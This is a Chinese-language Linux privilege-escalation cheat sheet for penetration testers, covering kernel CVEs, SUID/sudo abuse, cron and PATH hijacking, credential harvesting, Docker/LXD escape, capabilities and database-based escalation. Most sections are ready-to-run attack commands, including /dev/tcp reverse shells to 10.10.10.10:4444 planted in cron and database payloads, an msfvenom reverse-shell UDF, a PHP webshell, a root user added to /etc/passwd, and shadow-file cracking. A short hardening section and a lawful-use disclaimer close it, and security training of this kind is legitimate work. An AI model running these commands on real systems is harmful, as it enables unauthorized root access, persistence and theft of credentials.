常见Linux权限提升笔记
本文系统介绍Linux系统中常见的权限提升技术,包括检测方法和利用方式,适用于渗透测试和安全加固场景。
目录
1. 内核漏洞提权 💡 原理介绍 内核漏洞提权是利用Linux内核本身存在的安全漏洞,通过编译或运行针对特定内核版本的exploit代码,直接提升至root权限。常见的内核漏洞包括本地权限提升、条件竞争、缓冲区溢出等。
🔍 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 uname -auname -rcat /proc/versioncat /etc/issuecat /etc/*-releaseuname -mwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh./linux-exploit-suggester.sh wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl perl linux-exploit-suggester-2.pl https://github.com/peass-ng/PEASS-ng
⚔️ 常见内核漏洞
漏洞名称
CVE编号
影响版本
描述
Dirty COW
CVE-2016-5195
2.x - 4.8.3
竞态条件导致的写时复制漏洞
Dirty Pipe
CVE-2022-0847
5.8 - 5.16.11
管道缓冲区覆盖漏洞
PwnKit
CVE-2021-4034
pkexec
polkit的pkexec本地提权
Baron Samedit
CVE-2021-3156
sudo < 1.9.5p2
sudo堆溢出漏洞
DirtyCred
CVE-2022-2588
5.8 - 5.19.x
内核凭证覆盖漏洞
🎯 利用方式 Dirty COW示例:
1 2 3 4 5 6 7 8 9 wget https://github.com/firefart/dirtycow/raw/master/dirty.c gcc -pthread dirty.c -o dirty -lcrypt ./dirty yourpassword su firefart
PwnKit提权(CVE-2021-4034):
1 2 3 4 5 6 7 8 git clone https://github.com/berdav/CVE-2021-4034 cd CVE-2021-4034make ./cve-2021-4034
⚠️ 注意事项
内核exploit可能导致系统崩溃,生产环境慎用
编译时需要gcc和内核头文件
注意目标系统架构(x86/x64/ARM)匹配
2. SUID/SGID提权 💡 原理介绍 SUID(Set User ID)和SGID(Set Group ID)是Linux的特殊权限位。当一个可执行文件设置了SUID位,任何用户执行该文件时都会以文件所有者的权限运行。如果一个root拥有的程序设置了SUID位且存在安全问题,普通用户就可能利用它提权到root。
🔍 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 find / -perm -u=s -type f 2>/dev/null find / -perm -4000 -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null find / -perm -6000 -type f 2>/dev/null find / -perm -u=s -type f -ls 2>/dev/null
⚔️ 常见可利用的SUID程序 1. find命令:
1 2 3 4 5 6 7 find /usr/bin/find -perm -4000 find . -exec /bin/sh -p \; -quit find . -exec /bin/bash -p \; -quit
2. vim/vi编辑器:
1 2 3 4 5 6 7 8 find /usr/bin/vim* -perm -4000 vim -c ':!sh' :set shell=/bin/sh :shell
3. nmap(老版本 2.02-5.21):
1 2 3 4 nmap --interactive !sh nmap --script=exploit.nse
4. bash:
5. cp命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 openssl passwd -1 -salt hack password123 echo 'hacker:$1$hack$xxxxxxxxxxxxx:0:0:root:/root:/bin/bash' > /tmp/passwdcp /tmp/passwd /etc/passwdsu hacker
6. python/perl/ruby:
1 2 3 4 5 6 7 8 python -c 'import os; os.setuid(0); os.system("/bin/bash")' perl -e 'exec "/bin/sh";' ruby -e 'exec "/bin/sh"'
7. less/more:
8. tar:
1 tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec =/bin/sh
🎯 GTFOBins查询 访问 GTFOBins 查询更多SUID可利用程序的方法。
3. Sudo配置不当提权 💡 原理介绍 Sudo允许系统管理员授予普通用户执行特定命令的root权限。配置不当的sudo规则可能被滥用来提权,包括不安全的NOPASSWD配置、通配符使用、环境变量保留等。
🔍 检测方法
⚔️ 常见利用场景 1. NOPASSWD配置:
1 2 3 4 5 sudo find . -exec /bin/sh \; -quit
2. 通配符利用:
1 2 3 4 5 6 7 8 9 10 echo "" > "--checkpoint=1" echo "" > "--checkpoint-action=exec=sh shell.sh" echo "#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash" > shell.shsudo /bin/tar -czf /backup/backup.tar.gz */tmp/rootbash -p
3. LD_PRELOAD环境变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 cat > shell.c << EOF #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash"); } EOF gcc -fPIC -shared -o shell.so shell.c -nostartfiles sudo LD_PRELOAD=/tmp/shell.so find
4. LD_LIBRARY_PATH劫持:
1 2 3 4 5 6 ldd /usr/bin/program gcc -o library.so -shared -fPIC library.c sudo LD_LIBRARY_PATH=/tmp program
5. Sudo版本漏洞(CVE-2019-14287):
1 2 3 4 5 6 7 sudo -u#-1 /usr/bin/vi:!sh
🎯 sudo提权检查清单
4. 计划任务提权 💡 原理介绍 Cron是Linux的定时任务调度系统。如果以root权限运行的计划任务脚本存在安全问题(如可写、通配符注入、PATH劫持),普通用户就可以通过修改脚本或相关文件来执行任意root命令。
🔍 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 cat /etc/crontabls -la /etc/cron.d/ls -la /etc/cron.daily/ls -la /etc/cron.hourly/ls -la /etc/cron.monthly/ls -la /etc/cron.weekly/crontab -l cat /var/spool/cron/crontabs/*systemctl list-timers --all find /etc/cron* -type f -perm -o+w wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 chmod +x pspy64./pspy64
⚔️ 利用方式 1. 可写的Cron脚本:
1 2 3 4 5 6 7 8 9 10 11 12 ls -la /etc/cron.d/backup.shecho 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /etc/cron.d/backup.shecho 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/cron.d/backup.sh/tmp/rootbash -p
2. PATH环境变量劫持:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 cat > /tmp/tar << EOF #!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash EOF chmod +x /tmp/tar
3. 通配符注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cd /home/userecho "" > "--checkpoint=1" echo "" > "--checkpoint-action=exec=sh shell.sh" cat > shell.sh << EOF #!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash EOF chmod +x shell.sh
4. Cron覆盖写入:
1 2 echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/crontab
5. 环境变量劫持 💡 原理介绍 当程序在执行时使用相对路径调用其他命令,而没有指定完整路径时,系统会按照PATH环境变量的顺序查找可执行文件。攻击者可以通过修改PATH变量或在PATH靠前的目录中放置恶意程序来劫持命令执行。
🔍 检测方法 1 2 3 4 5 6 7 8 9 10 11 echo $PATH strings /usr/local/bin/suid_program | grep -E "^[a-z]+" strace -f -e execve /usr/local/bin/suid_program 2>&1 | grep exec ldd /usr/local/bin/suid_program
⚔️ 利用方式 1. PATH劫持SUID程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cat > /tmp/systemctl << EOF #!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash EOF chmod +x /tmp/systemctlexport PATH=/tmp:$PATH /usr/local/bin/service_start /tmp/rootbash -p
2. 共享库劫持:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ldd /usr/local/bin/program cat > evil.c << EOF #include <stdio.h> #include <stdlib.h> static void inject() __attribute__((constructor)); void inject() { setuid(0); system("/bin/bash -p"); } EOF gcc -shared -fPIC evil.c -o /tmp/libcustom.so LD_PRELOAD=/tmp/libcustom.so /usr/local/bin/program
3. Python库劫持:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 python -c "import sys; print('\n'.join(sys.path))" cat > /tmp/custom_module.py << EOF import os os.system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash') EOF export PYTHONPATH=/tmp:$PYTHONPATH
6. 密码信息泄露 💡 原理介绍 在Linux系统中,密码和敏感信息可能以明文或可破解的形式存储在配置文件、历史记录、备份文件、数据库等位置。发现这些泄露的凭据可以直接用于横向移动或提权。
🔍 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 grep -r "password" /etc/ 2>/dev/null grep -r "passwd" /etc/ 2>/dev/null grep -ri "pwd" /etc/ 2>/dev/null find /etc/ -name "*.conf" -exec grep -i "pass" {} \; 2>/dev/null grep -r "password" /home/ 2>/dev/null grep -r "password" /root/ 2>/dev/null find /home -name "*.txt" -o -name "*.xml" -o -name "*.ini" 2>/dev/null cat ~/.bash_historycat ~/.zsh_historycat ~/.mysql_historycat ~/.psql_historycat ~/.*history cat /var/www/html/config.phpcat /var/www/html/wp-config.phpcat /var/www/html/configuration.phpfind / -name "config.php" 2>/dev/null find / -name "database.yml" 2>/dev/null find / -name "*.bak" 2>/dev/null find / -name "*backup*" 2>/dev/null find / -name "*.old" 2>/dev/null find / -name "*.save" 2>/dev/null find / -name "id_rsa" 2>/dev/null find / -name "id_dsa" 2>/dev/null find / -name "authorized_keys" 2>/dev/null ls -la ~/.ssh/strings /dev/mem | grep -i "password" cat /proc/*/environ | tr '\0' '\n' | grep -i "pass" grep -r "password" /var/log/ 2>/dev/null find / -name ".git" 2>/dev/null env | grep -i "pass" cat /proc/self/environ
⚔️ 利用方式 1. 发现数据库密码:
1 2 3 4 5 6 7 8 9 10 cat /var/www/html/config.phpmysql -u root -p'SuperSecret123' su root
2. SSH密钥利用:
1 2 3 4 5 6 7 8 9 10 find / -name "id_rsa" 2>/dev/null cp /home/user/.ssh/id_rsa /tmp/keychmod 600 /tmp/keyssh -i /tmp/key root@localhost
3. 破解/etc/shadow:
1 2 3 4 5 6 7 8 9 10 11 cat /etc/shadowgrep root /etc/shadow > /tmp/hash john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash hashcat -m 1800 /tmp/hash /usr/share/wordlists/rockyou.txt
4. 重用找到的密码:
1 2 3 4 5 6 7 su - admin su - root su - mysql sudo -i
7. 容器逃逸 💡 原理介绍 容器逃逸是指从Docker、LXC、LXD等容器环境中突破隔离限制,获取宿主机的控制权。常见原因包括:特权容器、不安全的挂载、内核漏洞、Docker Socket暴露等。
🔍 检测方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 cat /proc/1/cgroup | grep -i "docker\|lxc" ls -la /.dockerenvcat /proc/self/mountinfo | grep dockercapsh --print cat /proc/self/status | grep Capmount | grep -i "docker\|lxc" df -hls -la /var/run/docker.sockgrep -i "privileged" /proc/self/status ip link add dummy0 type dummy 2>/dev/null && echo "Privileged" || echo "Unprivileged"
⚔️ Docker逃逸方法 1. 特权容器 + /dev挂载:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 fdisk -l mkdir /mnt/hostmount /dev/sda1 /mnt/host mkdir /mnt/host/root/.sshcat /root/.ssh/id_rsa.pub >> /mnt/host/root/.ssh/authorized_keysecho '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /mnt/host/etc/crontabcat /mnt/host/etc/passwd
2. Docker Socket暴露:
1 2 3 4 5 6 7 8 9 10 11 ls -la /var/run/docker.sockdocker run -v /:/mnt --rm -it alpine chroot /mnt sh curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"]}' -H 'Content-Type: application/json' http://localhost/containers/create curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/CONTAINER_ID/start
3. CVE-2019-5736 (runc逃逸):
1 2 3 4 5 6 7 8 9 10 11 12 git clone https://github.com/Frichetten/CVE-2019-5736-PoC cd CVE-2019-5736-PoCgo build main.go ./main docker exec <container> /bin/bash
⚔️ LXD/LXC逃逸方法 LXD组成员提权:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 id groups git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder./build-alpine python3 -m http.server 8000 wget http://attacker:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage lxc init myimage ignite -c security.privileged=true lxc config device add ignite mydevice disk source =/ path=/mnt/root recursive=true lxc start ignite lxc exec ignite /bin/sh cd /mnt/root
8. Capabilities提权 💡 原理介绍 Linux Capabilities将root权限细分为多个独立的能力单元,允许给普通程序赋予特定的特权能力而不需要完整的root权限。如果某些危险的capabilities被不当分配,可能导致提权。
🔍 检测方法 1 2 3 4 5 6 7 8 9 10 11 getcap -r / 2>/dev/nullcat /proc/self/status | grep Capcapsh --print
⚔️ 危险的Capabilities
Capability
描述
提权方式
cap_setuid
允许设置进程UID
直接setuid(0)获取root
cap_dac_override
绕过文件读写执行权限检查
读写任意文件
cap_dac_read_search
绕过文件读和目录读权限
读取敏感文件
cap_sys_admin
多种管理权限
挂载文件系统等
cap_sys_ptrace
允许跟踪任意进程
注入root进程
cap_sys_module
加载内核模块
加载恶意内核模块
⚔️ 利用方式 1. cap_setuid (Python示例):
1 2 3 4 5 6 getcap /usr/bin/python3.8/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
2. cap_setuid (Perl示例):
1 2 3 4 getcap /usr/bin/perl/usr/bin/perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'
3. cap_dac_override (vim/vi示例):
1 2 3 4 5 6 7 8 9 getcap /usr/bin/vimvim /etc/passwd vim /etc/shadow
4. cap_dac_read_search (tar示例):
1 2 3 4 5 6 7 getcap /usr/bin/tartar -czf /tmp/shadow.tar.gz /etc/shadow tar -xzf /tmp/shadow.tar.gz cat etc/shadow
5. cap_sys_admin (Python示例):
1 2 3 4 5 6 python3 -c ' import os os.system("mkdir /mnt/host") os.system("mount /dev/sda1 /mnt/host") '
6. cap_sys_ptrace:
1 2 3 4 gcc -o inject inject.c ./inject <root_process_pid>
9. 数据库高权限提权 💡 原理介绍 当获取到数据库的高权限账户(如MySQL的root、PostgreSQL的postgres),可以利用数据库的特性执行系统命令或写入文件,进而提升Linux系统权限。
🔍 检测方法 1 2 3 4 5 6 7 8 9 10 find / -name "config.php" -o -name "wp-config.php" -o -name "database.yml" 2>/dev/null ps aux | grep -i "mysql\|postgres\|mariadb" netstat -tlnp | grep -i "3306\|5432" mysql -u root psql -U postgres
⚔️ MySQL提权方法 1. UDF(User Defined Function)提权:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 mysql -u root -p show variables like '%plugin%' ; show variables like '%secure_file_priv%' ; msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf-so -o udf.so wget https://github.com/mysqludf/lib_mysqludf_sys/releases/download/lib_mysqludf_sys-1.0.0/lib_mysqludf_sys.so use mysql; create table foo(line blob); insert into foo values(load_file('/tmp/udf.so' )); select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so' ;create function sys_exec returns integer soname 'udf.so' ; select sys_exec('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' );
2. INTO OUTFILE写Webshell:
1 2 3 4 5 6 7 8 show variables like '%secure_file_priv%' ;select '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/shell.php' ;
3. 写入SSH密钥:
1 2 3 4 5 select load_file('/home/attacker/.ssh/id_rsa.pub' );select 'ssh-rsa AAAAB3...' into outfile '/root/.ssh/authorized_keys' ;
4. 写入Cron任务:
1 select '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' into outfile '/etc/cron.d/evil' ;
⚔️ PostgreSQL提权方法 1. COPY TO/FROM PROGRAM(9.3+):
1 2 3 4 5 6 7 8 9 10 DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' ;COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' ;
2. Large Objects写文件:
1 2 3 4 5 6 7 8 9 SELECT lo_creat(-1 );SELECT lo_put(12345 , 0 , decode('3c3f7068...' , 'hex' ));\lo_export 12345 '/var/www/html/shell.php'
3. CVE-2019-9193(PostgreSQL 9.3-11.2):
1 2 COPY (SELECT '' ) TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' ;
⚔️ MongoDB提权 1. NoSQL注入后命令执行:
1 2 3 4 5 db.eval ('os.execute("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")' ); db.eval ('os.execute("echo attacker_ssh_key >> /root/.ssh/authorized_keys")' );
10. 提权工具集 🔧 自动化枚举工具 LinPEAS(推荐):
1 2 3 4 5 6 7 8 9 10 11 12 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh./linpeas.sh ./linpeas.sh -a > /tmp/linpeas_output.txt ./linpeas.sh -s
LinEnum:
1 2 3 wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod +x LinEnum.sh./LinEnum.sh -t
Linux Smart Enumeration (lse.sh):
1 2 3 4 5 6 7 8 wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh chmod +x lse.sh./lse.sh -l 0 ./lse.sh -l 2
Unix-Privesc-Check:
1 2 3 wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/unix-privesc-check chmod +x unix-privesc-check./unix-privesc-check standard
🔧 漏洞利用建议工具 Linux Exploit Suggester:
1 2 3 wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh./linux-exploit-suggester.sh
linux-exploit-suggester-2:
1 2 wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl perl linux-exploit-suggester-2.pl
🔧 专项工具 pspy - 进程监控:
1 2 3 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 chmod +x pspy64./pspy64
GTFOBins - SUID/Sudo/Capabilities查询:
PayloadsAllTheThings:
1 2 git clone https://github.com/swisskyrepo/PayloadsAllTheThings cd PayloadsAllTheThings/Methodology\ and\ Resources/Linux\ -\ Privilege\ Escalation/
🔧 传输文件方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 python3 -m http.server 8000 python2 -m SimpleHTTPServer 8000 wget http://attacker:8000/linpeas.sh curl http://attacker:8000/linpeas.sh -o linpeas.sh bash -c 'exec 3<>/dev/tcp/attacker/8000; echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: attacker\r\n\r\n" >&3; cat <&3' > linpeas.sh nc -lvnp 4444 < linpeas.sh nc attacker 4444 > linpeas.sh
📝 提权检查清单 在获取到普通用户shell后,按以下顺序进行检查:
🛡️ 防御建议 系统加固:
及时更新系统补丁,修复内核漏洞
最小化SUID程序,移除不必要的SUID位
严格配置sudo规则,避免NOPASSWD和通配符
使用AppArmor/SELinux强制访问控制
限制Capabilities的使用范围
监控检测:
监控SUID文件变化
审计sudo使用记录
监控异常进程和网络连接
检查定时任务变化
监控容器逃逸行为
最佳实践:
使用密钥认证而非密码
定期审计系统权限配置
限制数据库用户权限
配置合理的文件权限
使用容器安全加固工具
📚 参考资源
🎯 总结 Linux提权是渗透测试中的关键环节,需要:
系统化思维 :按清单逐项检查,不遗漏任何可能性
工具辅助 :熟练使用LinPEAS等自动化工具提高效率
手工验证 :不完全依赖工具,理解原理并手工验证
持续学习 :跟进最新漏洞和利用技术
实战演练 :在VulnHub、HackTheBox等平台大量练习
记住:提权的本质是利用系统的配置缺陷或漏洞,获取更高权限。理解原理比记住命令更重要。
本文仅供安全研究和授权测试使用,严禁用于非法用途